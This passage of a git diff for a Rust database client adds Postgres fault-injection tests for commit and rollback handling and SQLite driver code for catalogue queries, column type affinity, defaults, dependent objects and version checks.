Instant::now(); + + let outcome = connection + .write_batch( + &batch(&["INSERT INTO t VALUES (5)", "SELECT pg_sleep(30)"]), + within(Duration::from_secs(1)), + ) + .await; + + assert!( + matches!(outcome, Err(DriverError::RolledBack { statement_index: 1, .. })), + "{outcome:?}" + ); + assert!(started.elapsed() < Duration::from_secs(3), "{:?}", started.elapsed()); + assert_eq!( + scalar(connection.as_ref(), "SELECT count(*) FROM t").await, + Value::Int(0) + ); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn commit_stall_deadline_commit_outcome_unknown_then_applied() { + let fixture = start().await; + let liveness: LivenessPolicy = test_liveness(); + let endpoint = NetworkEndpoint::new(fixture.host(), fixture.port()).expect("an endpoint"); + let fault = Arc::new(FaultTransport::direct(endpoint, &liveness).expect("a fault transport")); + let options = options_over( + fault.clone(), + password(&fixture.password_credentials()), + fixture.database(), + TlsConfig::disabled(), + WorkspaceSettings::workspace(false), + liveness, + ); + let connection = connect_with(options).await; + setup(connection.as_ref(), &["CREATE TABLE t (id int)"]).await; + fault.stall_reads_after_write_containing("COMMIT"); + + let outcome = connection + .write_batch(&batch(&["INSERT INTO t VALUES (9)"]), within(Duration::from_secs(1))) + .await; + let outcome = match outcome { + Ok(_) => panic!("a commit whose answer never came was reported as done"), + Err(error) => error, + }; + let DriverError::CommitOutcomeUnknown { + token: Some(token @ CommitToken::PostgresXid { .. }), + .. + } = &outcome + else { + panic!("a stalled commit gave {outcome:?}"); + }; + let resolution = connection.resolve_commit(token, within(CALL)).await; + + assert_eq!(fault.stalls_triggered(), 1); + assert_eq!(resolution, Ok(CommitResolution::Applied)); + assert_eq!( + scalar(connection.as_ref(), "SELECT count(*) FROM t").await, + Value::Int(1) + ); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn deferred_constraint_commit_error_is_rolled_back() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE parent (id int PRIMARY KEY)", + "CREATE TABLE child (parent_id int REFERENCES parent DEFERRABLE INITIALLY DEFERRED)", + ], + ) + .await; + + let outcome = apply( + connection.as_ref(), + WriteKind::RowChanges, + &["INSERT INTO child VALUES (99)"], + ) + .await; + + let Err(DriverError::RolledBack { + statement_index: 1, + source, + }) = &outcome + else { + panic!("a failed deferred check gave {outcome:?}"); + }; + assert!( + matches!(&**source, DriverError::Server(diagnostics) if diagnostics.sqlstate() == Some("23503")), + "{source:?}" + ); + assert_eq!( + scalar(connection.as_ref(), "SELECT count(*) FROM child").await, + Value::Int(0) + ); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn abandoned_write_connection_is_taken_not_recycled() { + let fixture = start().await; + let liveness = test_liveness(); + let endpoint = NetworkEndpoint::new(fixture.host(), fixture.port()).expect("an endpoint"); + let fault = Arc::new(FaultTransport::direct(endpoint, &liveness).expect("a fault transport")); + let options = options_over( + fault.clone(), + password(&fixture.password_credentials()), + fixture.database(), + TlsConfig::disabled(), + WorkspaceSettings::workspace(false), + liveness, + ); + let connection = connect_with(options).await; + setup(connection.as_ref(), &["CREATE TABLE t (id int, v text)"]).await; + let monitor = connect(&fixture, false).await; + fault.stall_reads_after_write_containing("tp_abandoned"); + + let outcome = connection + .write_batch( + &batch(&["INSERT INTO t VALUES (7, 'tp_abandoned')"]), + within(Duration::from_secs(1)), + ) + .await; + + assert!(matches!(outcome, Err(DriverError::RolledBack { .. })), "{outcome:?}"); + // The backend that ran the insert is idle in its transaction until + // its socket closes, which only taking the connection does. + let give_up = Instant::now() + Duration::from_secs(5); + loop { + let open = scalar( + monitor.as_ref(), + "SELECT count(*) FROM pg_stat_activity WHERE state = 'idle in transaction'", + ) + .await; + if open == Value::Int(0) { + break; + } + assert!( + Instant::now() < give_up, + "the abandoned transaction stayed open: {open:?}" + ); + tokio::time::sleep(Duration::from_millis(100)).await; + } + assert_eq!(scalar(monitor.as_ref(), "SELECT count(*) FROM t").await, Value::Int(0)); + assert_eq!(scalar(connection.as_ref(), "SELECT 1").await, Value::Int(1)); +} diff --git a/linux/crates/drivers/postgres/tests/tls.rs b/linux/crates/drivers/postgres/tests/tls.rs deleted file mode 100644 index c83dff156f..0000000000 --- a/linux/crates/drivers/postgres/tests/tls.rs +++ /dev/null @@ -1,72 +0,0 @@ -use std::error::Error; - -use drivers_postgres::PgDriver; -use secrecy::SecretString; -use sqlx::postgres::{PgConnectOptions, PgPoolOptions, PgSslMode}; -use tablepro_core::{ConnectOptions, DatabaseDriver, Value}; -use tablepro_test_fixtures::{HbaMode, PostgresFixture}; - -type TestResult = Result<(), Box>; - -const BACKEND_USES_TLS: &str = "SELECT ssl FROM pg_stat_ssl WHERE pid = pg_backend_pid()"; - -fn connect_options(fixture: &PostgresFixture) -> ConnectOptions { - let credentials = fixture.password_credentials(); - ConnectOptions { - host: fixture.host().to_owned(), - port: fixture.port(), - database: fixture.database().to_owned(), - username: credentials.username, - password: SecretString::from(credentials.password), - use_tls: true, - ..Default::default() - } -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn prefer_negotiates_tls() -> TestResult { - let fixture = PostgresFixture::start(HbaMode::HostSslOnly).await?; - let credentials = fixture.password_credentials(); - let options = PgConnectOptions::new() - .host(fixture.host()) - .port(fixture.port()) - .database(fixture.database()) - .username(&credentials.username) - .password(&credentials.password) - .ssl_mode(PgSslMode::Prefer); - - let pool = PgPoolOptions::new().max_connections(1).connect_with(options).await?; - let uses_tls: bool = sqlx::query_scalar(BACKEND_USES_TLS).fetch_one(&pool).await?; - - assert!(uses_tls, "sslmode=prefer left the connection in plaintext"); - Ok(()) -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn require_succeeds() -> TestResult { - let fixture = PostgresFixture::start(HbaMode::HostSslOnly).await?; - - let connection = PgDriver.connect(connect_options(&fixture)).await?; - let result = connection.query(BACKEND_USES_TLS).await?; - - assert_eq!(result.rows.len(), 1); - assert_eq!(result.rows[0][0], Value::Bool(true)); - Ok(()) -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn plaintext_is_refused_by_a_tls_only_server() -> TestResult { - let fixture = PostgresFixture::start(HbaMode::HostSslOnly).await?; - let options = ConnectOptions { - use_tls: false, - ..connect_options(&fixture) - }; - - let refused = PgDriver.connect(options).await; - - assert!(refused.is_err()); - Ok(()) -} diff --git a/linux/crates/drivers/sqlite/Cargo.toml b/linux/crates/drivers/sqlite/Cargo.toml index c4281ce025..4d2647c6c6 100644 --- a/linux/crates/drivers/sqlite/Cargo.toml +++ b/linux/crates/drivers/sqlite/Cargo.toml @@ -12,15 +12,25 @@ path = "src/lib.rs" [dependencies] tablepro-core = { path = "../../core" } async-trait.workspace = true -chrono.workspace = true futures.workspace = true +# One direct call, sqlite3_get_autocommit, until sqlx exposes the +# transaction state of a connection. The range follows sqlx-sqlite's own, +# because only one libsqlite3-sys can be linked. +libsqlite3-sys.workspace = true +sqlparser.workspace = true sqlx = { workspace = true, features = ["sqlite-unbundled"] } -tokio.workspace = true +tokio = { workspace = true, features = ["macros", "rt", "sync", "time"] } +tokio-util.workspace = true +tracing.workspace = true +uuid.workspace = true [dev-dependencies] -libsqlite3-sys.workspace = true +tablepro-test-support = { path = "../../test-support" } +async-trait.workspace = true tempfile.workspace = true -tokio = { workspace = true, features = ["macros", "rt"] } +tokio = { workspace = true, features = ["macros", "rt", "rt-multi-thread", "sync", "time"] } +tracing.workspace = true +tracing-subscriber.workspace = true [lints] workspace = true diff --git a/linux/crates/drivers/sqlite/src/autocommit.rs b/linux/crates/drivers/sqlite/src/autocommit.rs new file mode 100644 index 0000000000..61d3c74e05 --- /dev/null +++ b/linux/crates/drivers/sqlite/src/autocommit.rs @@ -0,0 +1,19 @@ +//! Whether a connection is inside a transaction. +//! +//! sqlx tracks only the transactions it began itself and keeps its own +//! flag crate-private, so a BEGIN the user typed in the editor is +//! invisible to it. SQLite's own answer is `sqlite3_get_autocommit`. +//! This is the crate's one unsafe call, an interim until sqlx exposes +//! the state on `LockedSqliteHandle`. + +use sqlx::sqlite::LockedSqliteHandle; + +/// True when no transaction is open. +pub(crate) fn is_autocommit(handle: &mut LockedSqliteHandle<'_>) -> bool { + let raw = handle.as_raw_handle(); + // SAFETY: `raw` comes from the locked handle, and the lock guard is + // held for the whole call, so the connection is open and sqlx's + // worker thread makes no call on it meanwhile. The function only + // reads a flag of the connection. + unsafe { libsqlite3_sys::sqlite3_get_autocommit(raw.as_ptr()) != 0 } +} diff --git a/linux/crates/drivers/sqlite/src/capabilities.rs b/linux/crates/drivers/sqlite/src/capabilities.rs new file mode 100644 index 0000000000..1a7baa82a6 --- /dev/null +++ b/linux/crates/drivers/sqlite/src/capabilities.rs @@ -0,0 +1,23 @@ +use tablepro_core::meta::ObjectKind; +use tablepro_core::{ + CommitResolutionSupport, DriverCapabilities, EndpointKind, EstimateQuality, ReadOnlyEnforcement, ScriptExecution, + WriteAtomicity, +}; + +/// A file with no login and no TLS. A read-only connection is opened +/// read-only, so SQLite itself refuses every write. Saves and schema +/// changes are one transaction each. A COMMIT never crosses a network, +/// so there is nothing to resolve afterwards. +pub(crate) static CAPABILITIES: DriverCapabilities = DriverCapabilities { + endpoint: EndpointKind::File, + auth_modes: &[], + tls: None, + read_only: ReadOnlyEnforcement::EngineEnforced, + dml_writes: WriteAtomicity::Transactional, + ddl_writes: WriteAtomicity::Transactional, + script_execution: ScriptExecution::NativeBatch, + commit_resolution: CommitResolutionSupport::Unavailable, + row_count_estimate: EstimateQuality::Statistics, + object_kinds: &[ObjectKind::Table, ObjectKind::View], + database_required: false, +}; diff --git a/linux/crates/drivers/sqlite/src/catalog.rs b/linux/crates/drivers/sqlite/src/catalog.rs new file mode 100644 index 0000000000..7976b24aec --- /dev/null +++ b/linux/crates/drivers/sqlite/src/catalog.rs @@ -0,0 +1,404 @@ +//! What SQLite's own catalogue says, and what the app makes of it. +//! +//! Every query reads a pragma through its table-valued function, so the +//! table and schema names travel as bound arguments rather than as SQL. +//! The only name spliced into SQL is a schema qualifying +//! `sqlite_schema`, which goes through the dialect's quoting. + +mod dependents; +mod runtime_version; +mod sqlite_column_row; +mod table_definition; + +use tablepro_core::column::{ + BoolStorage, CatalogType, ColumnDefault, ColumnKind, ColumnType, FloatWidth, IntegerKind, IntegerWidth, ReadForm, + SqlExpression, SqlTypeExpr, TemporalZone, TextLength, TimeRange, classify_type_name, +}; +use tablepro_core::sql_syntax::{LiteralToken, MAX_EXPRESSION_LEN, SqlGrammar, parse_expression}; +use tablepro_core::value::{SqlDecimal, Value}; + +pub(crate) use dependents::{SchemaRow, select_dependents}; +pub use runtime_version::{SQLITE_MIN_VERSION, SqliteVersion, check_runtime_version}; +pub(crate) use sqlite_column_row::{SqliteColumnRow, TableFacts}; +pub(crate) use table_definition::{InboundKeyRow, foreign_key_name, generated_expressions, inbound_foreign_keys}; + +/// The schema unqualified names resolve to. +pub(crate) const MAIN_SCHEMA: &str = "main"; + +/// `temp` belongs to the connection rather than the file, so another +/// connection never sees what one put there. +pub(crate) const DATABASE_LIST_SQL: &str = "SELECT name FROM pragma_database_list WHERE name <> 'temp' ORDER BY seq"; + +pub(crate) const TABLE_XINFO_SQL: &str = "SELECT cid, name, type, \"notnull\", dflt_value, pk, hidden \ + FROM pragma_table_xinfo(?1, ?2) ORDER BY cid"; + +/// `table_list` takes no schema argument, so the schema is a filter. +pub(crate) const TABLE_LIST_SQL: &str = "SELECT type, wr, strict FROM pragma_table_list(?1) WHERE schema = ?2"; + +pub(crate) const INDEX_LIST_SQL: &str = + "SELECT name, \"unique\", origin, partial FROM pragma_index_list(?1, ?2) ORDER BY name"; + +pub(crate) const INDEX_XINFO_SQL: &str = + "SELECT cid, name, \"desc\" FROM pragma_index_xinfo(?1, ?2) WHERE key = 1 ORDER BY seqno"; + +pub(crate) const FOREIGN_KEY_LIST_SQL: &str = "SELECT id, \"table\", \"from\", \"to\", on_update, on_delete \ + FROM pragma_foreign_key_list(?1, ?2) ORDER BY id, seq"; + +pub(crate) const FOREIGN_KEY_CHECK_SQL: &str = "SELECT \"table\", rowid, parent FROM pragma_foreign_key_check(?1, ?2)"; + +/// `sqlite_schema` of one schema, which has to be named in the FROM. +pub(crate) fn objects_sql(schema_sql: &str) -> String { + format!( + "SELECT name, type FROM {schema_sql}.sqlite_schema \ + WHERE type IN ('table', 'view') AND name NOT LIKE 'sqlite!_%' ESCAPE '!' ORDER BY name" + ) +} + +pub(crate) fn object_sql(schema_sql: &str) -> String { + format!("SELECT type, sql FROM {schema_sql}.sqlite_schema WHERE name = ?1 COLLATE NOCASE") +} + +pub(crate) fn index_sql(schema_sql: &str) -> String { + format!("SELECT sql FROM {schema_sql}.sqlite_schema WHERE type = 'index' AND name = ?1") +} + +pub(crate) fn dependents_sql(schema_sql: &str) -> String { + format!( + "SELECT type, name, tbl_name, sql FROM {schema_sql}.sqlite_schema \ + WHERE type IN ('index', 'trigger', 'view') AND sql IS NOT NULL ORDER BY rowid" + ) +} + +pub(crate) fn inbound_keys_sql(schema_sql: &str) -> String { + format!( + "SELECT m.name AS child, f.id AS id, f.\"from\" AS \"from\", f.\"to\" AS \"to\" \ + FROM {schema_sql}.sqlite_schema m, pragma_foreign_key_list(m.name, ?2) f \ + WHERE m.type = 'table' AND f.\"table\" = ?1 COLLATE NOCASE ORDER BY m.name, f.id, f.seq" + ) +} + +/// `sqlite_sequence` exists only once some table was declared with +/// AUTOINCREMENT, so its presence is checked before it is read. +pub(crate) fn has_table_sql(schema_sql: &str) -> String { + format!("SELECT count(*) FROM {schema_sql}.sqlite_schema WHERE type = 'table' AND name = ?1") +} + +pub(crate) fn sequence_sql(schema_sql: &str) -> String { + format!("SELECT count(*) FROM {schema_sql}.sqlite_sequence WHERE name = ?1") +} + +/// The first number of a `sqlite_stat1` row is the row count ANALYZE +/// saw. A table without indexes has one row whose `idx` is NULL. +pub(crate) fn statistics_sql(schema_sql: &str) -> String { + format!("SELECT stat FROM {schema_sql}.sqlite_stat1 WHERE tbl = ?1 ORDER BY idx IS NOT NULL LIMIT 1") +} + +/// A column's type from its declaration. +/// +/// SQLite stores what it is given whatever the declaration says, unless +/// the table is STRICT, so the declaration decides how a value is shown +/// and edited, never what the value is. The affinity rules of +/// datatype3 section 3.1 come first, in their order, so a type reads +/// the way SQLite itself reads it: `FLOATING POINT` is an integer. +pub(crate) fn declared_column_type(declared: &str, strict: bool) -> ColumnType { + let declaration = SqlTypeExpr::from_catalog_text(declared); + // ANY is the one STRICT type that keeps whatever it is given. + let any = strict && declared.trim().eq_ignore_ascii_case("ANY"); + ColumnType { + name: declared.to_owned(), + kind: declared_kind(declared), + catalog: Some(CatalogType { + cast_target: declaration.clone(), + declaration, + }), + dynamic_storage: !strict || any, + read_form: ReadForm::Native, + } +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum Affinity { + Integer, + Text, + Blob, + Real, + Numeric, +} + +fn affinity(declared: &str) -> Affinity { + let upper = declared.to_ascii_uppercase(); + if upper.contains("INT") { + Affinity::Integer + } else if ["CHAR", "CLOB", "TEXT"].iter().any(|word| upper.contains(word)) { + Affinity::Text + } else if upper.contains("BLOB") || upper.trim().is_empty() { + Affinity::Blob + } else if ["REAL", "FLOA", "DOUB"].iter().any(|word| upper.contains(word)) { + Affinity::Real + } else { + Affinity::Numeric + } +} + +fn declared_kind(declared: &str) -> ColumnKind { + match affinity(declared) { + // SQLite keeps any 64-bit integer whatever width is declared. + Affinity::Integer => integer(), + // A declared length is not enforced, not even as a cap. + Affinity::Text => ColumnKind::Text { + length: TextLength::Unbounded, + }, + // A column with no type holds anything, which is not the same + // as holding bytes: shown as bytes it could not be edited. + Affinity::Blob if declared.trim().is_empty() => ColumnKind::Other, + Affinity::Blob => ColumnKind::Bytes { + length: TextLength::Unbounded, + }, + Affinity::Real => ColumnKind::Float(FloatWidth::F64), + Affinity::Numeric => numeric_kind(declared), + } +} + +/// Within numeric affinity, the names that say how a value is meant: +/// BOOLEAN is 0 and 1, DATE and DATETIME are ISO text, DECIMAL is a +/// number with a scale. Anything else is shown as stored. +fn numeric_kind(declared: &str) -> ColumnKind { + match classify_type_name(declared) { + ColumnKind::Bool(_) => ColumnKind::Bool(BoolStorage::Integer), + kind @ (ColumnKind::Decimal { .. } + | ColumnKind::Date + | ColumnKind::Time { .. } + | ColumnKind::Timestamp { .. } + | ColumnKind::Json { binary: false }) => kind, + _ => ColumnKind::Other, + } +} + +fn integer() -> ColumnKind { + ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W64, + signed: true, + }) +} + +/// The type of a result column, from the name sqlx gives its declared +/// type. `None` for an expression or a declaration sqlx does not name, +/// which only a row can resolve. +pub(crate) fn result_column_type(type_name: &str) -> Option { + let kind = match type_name { + "INTEGER" => integer(), + "REAL" => ColumnKind::Float(FloatWidth::F64), + "TEXT" => ColumnKind::Text { + length: TextLength::Unbounded, + }, + "BLOB" => ColumnKind::Bytes { + length: TextLength::Unbounded, + }, + "BOOLEAN" => ColumnKind::Bool(BoolStorage::Integer), + "DATE" => ColumnKind::Date, + "TIME" => ColumnKind::Time { + fractional_digits: None, + with_offset: false, + range: TimeRange::TimeOfDay, + }, + "DATETIME" => ColumnKind::Timestamp { + fractional_digits: None, + zone: TemporalZone::Naive, + }, + "NUMERIC" => ColumnKind::Decimal { + precision: None, + scale: None, + }, + _ => return None, + }; + Some(result_type(type_name, kind)) +} + +/// The type of a result column that has no declared type, from the +/// storage class of the value a row holds there. +pub(crate) fn storage_class_type(value: &Value) -> ColumnType { + match value { + Value::Int(_) => result_type("INTEGER", integer()), + Value::Float64(_) => result_type("REAL", ColumnKind::Float(FloatWidth::F64)), + Value::Text(_) => result_type( + "TEXT", + ColumnKind::Text { + length: TextLength::Unbounded, + }, + ), + Value::Bytes(_) => result_type( + "BLOB", + ColumnKind::Bytes { + length: TextLength::Unbounded, + }, + ), + _ => result_type("", ColumnKind::Other), + } +} + +/// A result column has no server spelling to splice, and its value can +/// be of any class whatever the column says. +fn result_type(name: &str, kind: ColumnKind) -> ColumnType { + ColumnType { + name: name.to_owned(), + kind, + catalog: None, + dynamic_storage: true, + read_form: ReadForm::Native, + } +} + +/// A column's DEFAULT, from the text `pragma_table_xinfo` reports. +/// +/// A literal is kept as the value SQLite would store for it, so the +/// insert path binds exactly that: a quoted string stays text however +/// the column is declared, and a number stays an integer or a real. +/// Anything else, `CURRENT_TIMESTAMP` included, is left to the server. +pub(crate) fn classify_default(text: &str) -> ColumnDefault { + let literal = parse_expression(SqlGrammar::Sqlite, text, MAX_EXPRESSION_LEN) + .ok() + .and_then(|parsed| parsed.literal) + .and_then(literal_value); + match literal { + Some(value) => ColumnDefault::Literal(value), + None => ColumnDefault::Expression(SqlExpression::from_catalog_text(text)), + } +} + +fn literal_value(token: LiteralToken) -> Option { + match token { + LiteralToken::Text(text) => Some(Value::Text(text)), + LiteralToken::Number(number) => number_value(&number), + // SQLite has no boolean storage class: TRUE is stored as 1. + LiteralToken::Boolean(flag) => Some(Value::Int(i64::from(flag))), + LiteralToken::Null => Some(Value::Null), + } +} + +/// SQLite reads a number literal as an integer when it has no fraction +/// and fits in 64 bits, and as a real otherwise. +fn number_value(number: &SqlDecimal) -> Option { + if let Some((mantissa, 0)) = number.to_scaled_i128() + && let Ok(integer) = i64::try_from(mantissa) + { + return Some(Value::Int(integer)); + } + number.to_string().parse::().ok().map(Value::Float64) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn sqlite_affinity_rules_and_strict() { + let cases = [ + ("INT", integer()), + ("TINYINT", integer()), + ("UNSIGNED BIG INT", integer()), + ("FLOATING POINT", integer()), + ( + "VARCHAR(255)", + ColumnKind::Text { + length: TextLength::Unbounded, + }, + ), + ( + "NCHAR(55)", + ColumnKind::Text { + length: TextLength::Unbounded, + }, + ), + ( + "CLOB", + ColumnKind::Text { + length: TextLength::Unbounded, + }, + ), + ( + "BLOB", + ColumnKind::Bytes { + length: TextLength::Unbounded, + }, + ), + ("", ColumnKind::Other), + ("REAL", ColumnKind::Float(FloatWidth::F64)), + ("DOUBLE PRECISION", ColumnKind::Float(FloatWidth::F64)), + ("BOOLEAN", ColumnKind::Bool(BoolStorage::Integer)), + ("DATE", ColumnKind::Date), + ( + "DATETIME", + ColumnKind::Timestamp { + fractional_digits: None, + zone: TemporalZone::Naive, + }, + ), + ( + "DECIMAL(10,5)", + ColumnKind::Decimal { + precision: Some(10), + scale: Some(5), + }, + ), + ("STRING", ColumnKind::Other), + ]; + for (declared, kind) in cases { + assert_eq!(declared_column_type(declared, false).kind, kind, "{declared:?}"); + } + + assert!(declared_column_type("INTEGER", false).dynamic_storage); + assert!(!declared_column_type("INTEGER", true).dynamic_storage); + assert!( + declared_column_type("ANY", true).dynamic_storage, + "ANY keeps any class even in a STRICT table" + ); + } + + #[test] + fn a_declaration_is_kept_verbatim_for_ddl() { + let column = declared_column_type("decimal(10, 2)", false); + + assert_eq!(column.name, "decimal(10, 2)"); + assert_eq!( + column.catalog.map(|catalog| catalog.declaration.as_sql().to_owned()), + Some("decimal(10, 2)".to_owned()) + ); + } + + #[test] + fn classify_default_table() { + let cases = [ + ("'pending'", ColumnDefault::Literal(Value::Text("pending".to_owned()))), + ("'it''s'", ColumnDefault::Literal(Value::Text("it's".to_owned()))), + ("0", ColumnDefault::Literal(Value::Int(0))), + ("-5", ColumnDefault::Literal(Value::Int(-5))), + ("1.50", ColumnDefault::Literal(Value::Float64(1.5))), + ("(7)", ColumnDefault::Literal(Value::Int(7))), + ("TRUE", ColumnDefault::Literal(Value::Int(1))), + ("NULL", ColumnDefault::Literal(Value::Null)), + ("'2024-1-5'", ColumnDefault::Literal(Value::Text("2024-1-5".to_owned()))), + ( + "CURRENT_TIMESTAMP", + ColumnDefault::Expression(SqlExpression::from_catalog_text("CURRENT_TIMESTAMP")), + ), + ( + "(strftime('%s', 'now'))", + ColumnDefault::Expression(SqlExpression::from_catalog_text("(strftime('%s', 'now'))")), + ), + ]; + for (text, expected) in cases { + assert_eq!(classify_default(text), expected, "{text}"); + } + } + + #[test] + fn a_result_column_without_a_declared_type_waits_for_a_row() { + assert_eq!(result_column_type("NULL"), None); + assert_eq!( + result_column_type("BOOLEAN").map(|column| column.kind), + Some(ColumnKind::Bool(BoolStorage::Integer)) + ); + assert_eq!(storage_class_type(&Value::Int(3)).kind, integer()); + assert_eq!(storage_class_type(&Value::Null).kind, ColumnKind::Other); + } +} diff --git a/linux/crates/drivers/sqlite/src/catalog/dependents.rs b/linux/crates/drivers/sqlite/src/catalog/dependents.rs new file mode 100644 index 0000000000..e4abfb940c --- /dev/null +++ b/linux/crates/drivers/sqlite/src/catalog/dependents.rs @@ -0,0 +1,205 @@ +use std::collections::HashSet; + +use tablepro_core::ddl::{SchemaObjectKind, SchemaObjectSource}; +use tablepro_core::sql_syntax::SqlGrammar; +use tablepro_core::sql_syntax::script::{LexicalSettings, ScriptPlan, ScriptTokenKind}; + +/// One row of `sqlite_schema` that might have to be replayed. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct SchemaRow { + pub kind: SchemaObjectKind, + pub name: String, + pub table: String, + pub sql: String, +} + +/// The objects a rebuild of `table` has to recreate, in schema order. +/// +/// Dropping a table drops its own indexes and triggers. A view, or a +/// trigger on another table, only names it in its SQL, and breaks when +/// the table is gone for a moment, so those are found by the name in +/// their token stream. A view that names a kept view is kept too. +pub(crate) fn select_dependents(table: &str, rows: Vec) -> Vec { + let mut names: Vec = vec![table.to_owned()]; + let mut kept = vec![false; rows.len()]; + let mentions: Vec> = rows.iter().map(|row| words(&row.sql)).collect(); + + loop { + let mut grew = false; + for (index, row) in rows.iter().enumerate() { + if kept[index] || !keeps(row, &mentions[index], table, &names) { + continue; + } + kept[index] = true; + if row.kind == SchemaObjectKind::View { + names.push(row.name.clone()); + grew = true; + } + } + if !grew { + break; + } + } + + rows.into_iter() + .zip(kept) + .filter(|(_, kept)| *kept) + .map(|(row, _)| SchemaObjectSource { + kind: row.kind, + name: row.name, + table: row.table, + sql: row.sql, + }) + .collect() +} + +fn keeps(row: &SchemaRow, mentions: &HashSet, table: &str, names: &[String]) -> bool { + let owned_by_table = row.table.eq_ignore_ascii_case(table); + match row.kind { + SchemaObjectKind::Index | SchemaObjectKind::Trigger if owned_by_table => true, + SchemaObjectKind::Index => false, + SchemaObjectKind::Trigger | SchemaObjectKind::View => { + names.iter().any(|name| mentions.contains(&name.to_lowercase())) + } + } +} + +/// Every identifier the SQL names, lowercased and unquoted. A name +/// inside a string literal or a comment is not a reference. +fn words(sql: &str) -> HashSet { + let plan = ScriptPlan::build( + sql, + SqlGrammar::Sqlite, + LexicalSettings::default_for(SqlGrammar::Sqlite), + ); + plan.tokens(0..sql.len()) + .filter_map(|token| { + let text = sql.get(token.range.clone())?; + match token.kind { + ScriptTokenKind::Word => Some(text.to_lowercase()), + ScriptTokenKind::QuotedIdentifier => Some(unquote(text).to_lowercase()), + _ => None, + } + }) + .collect() +} + +/// `"a""b"`, `` `a``b` `` and `[a]` all name the same identifier SQLite +/// would read. +fn unquote(text: &str) -> String { + let mut characters = text.chars(); + let (Some(open), Some(_)) = (characters.next(), characters.next_back()) else { + return text.to_owned(); + }; + let inner = characters.as_str(); + match open { + '[' => inner.to_owned(), + quote => inner.replace(&format!("{quote}{quote}"), "e.to_string()), + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn row(kind: SchemaObjectKind, name: &str, table: &str, sql: &str) -> SchemaRow { + SchemaRow { + kind, + name: name.to_owned(), + table: table.to_owned(), + sql: sql.to_owned(), + } + } + + fn names(selected: &[SchemaObjectSource]) -> Vec<&str> { + selected.iter().map(|object| object.name.as_str()).collect() + } + + #[test] + fn sqlite_dependents_include_views_and_foreign_triggers_transitively() { + let rows = vec![ + row( + SchemaObjectKind::Index, + "orders_total", + "orders", + "CREATE INDEX orders_total ON orders (total)", + ), + row( + SchemaObjectKind::Index, + "people_name", + "people", + "CREATE INDEX people_name ON people (name)", + ), + row( + SchemaObjectKind::View, + "big_orders", + "big_orders", + "CREATE VIEW big_orders AS SELECT * FROM \"Orders\" WHERE total > 100", + ), + row( + SchemaObjectKind::View, + "big_order_count", + "big_order_count", + "CREATE VIEW big_order_count AS SELECT count(*) FROM [big_orders]", + ), + row( + SchemaObjectKind::Trigger, + "people_audit", + "people", + "CREATE TRIGGER people_audit AFTER DELETE ON people BEGIN DELETE FROM `orders` WHERE person = old.id; END", + ), + row( + SchemaObjectKind::Trigger, + "orders_log", + "orders", + "CREATE TRIGGER orders_log AFTER INSERT ON orders BEGIN SELECT 1; END", + ), + row( + SchemaObjectKind::View, + "people_only", + "people_only", + "CREATE VIEW people_only AS SELECT * FROM people", + ), + ]; + + let selected = select_dependents("orders", rows); + + assert_eq!( + names(&selected), + [ + "orders_total", + "big_orders", + "big_order_count", + "people_audit", + "orders_log" + ] + ); + } + + #[test] + fn sqlite_dependents_ignore_name_inside_string_literal() { + let rows = vec![ + row( + SchemaObjectKind::View, + "labels", + "labels", + "CREATE VIEW labels AS SELECT 'orders' AS name /* orders */ FROM people", + ), + row( + SchemaObjectKind::Trigger, + "note", + "people", + "CREATE TRIGGER note AFTER INSERT ON people BEGIN SELECT 'orders'; END", + ), + ]; + + assert!(select_dependents("orders", rows).is_empty()); + } + + #[test] + fn a_quoted_name_reads_as_the_identifier_it_spells() { + assert_eq!(unquote("\"a\"\"b\""), "a\"b"); + assert_eq!(unquote("`a``b`"), "a`b"); + assert_eq!(unquote("[a b]"), "a b"); + } +} diff --git a/linux/crates/drivers/sqlite/src/catalog/runtime_version.rs b/linux/crates/drivers/sqlite/src/catalog/runtime_version.rs new file mode 100644 index 0000000000..1d0b4bf082 --- /dev/null +++ b/linux/crates/drivers/sqlite/src/catalog/runtime_version.rs @@ -0,0 +1,79 @@ +use std::fmt; + +use tablepro_core::DriverError; + +/// A SQLite library version, as `sqlite_version()` reports it. +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash)] +pub struct SqliteVersion { + pub major: u32, + pub minor: u32, + pub patch: u32, +} + +/// The oldest library the driver reads a catalogue from. 3.37.0 added +/// `PRAGMA table_list`, which is what says whether a table is STRICT. +/// Every system that ships GTK 4.22 has a newer one, so the floor turns +/// away no supported system. +pub const SQLITE_MIN_VERSION: SqliteVersion = SqliteVersion::new(3, 37, 0); + +impl SqliteVersion { + pub const fn new(major: u32, minor: u32, patch: u32) -> Self { + Self { major, minor, patch } + } + + /// Read `3.46.1`. A missing patch number reads as zero. + pub fn parse(text: &str) -> Option { + let mut parts = text.trim().split('.'); + let major = parts.next()?.parse().ok()?; + let minor = parts.next()?.parse().ok()?; + let patch = match parts.next() { + Some(patch) => patch.parse().ok()?, + None => 0, + }; + Some(Self::new(major, minor, patch)) + } +} + +impl fmt::Display for SqliteVersion { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "{}.{}.{}", self.major, self.minor, self.patch) + } +} + +/// Refuse a library older than the catalogue queries need, before any +/// of them runs. +pub fn check_runtime_version(version: &SqliteVersion) -> Result<(), DriverError> { + if *version < SQLITE_MIN_VERSION { + return Err(DriverError::Unsupported { + feature: "SQLite 3.37.0 or later", + }); + } + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn sqlite_runtime_version_below_3_37_is_unsupported() { + let refused = check_runtime_version(&SqliteVersion::new(3, 36, 0)); + + assert_eq!( + refused, + Err(DriverError::Unsupported { + feature: "SQLite 3.37.0 or later" + }) + ); + assert_eq!(check_runtime_version(&SqliteVersion::new(3, 37, 0)), Ok(())); + 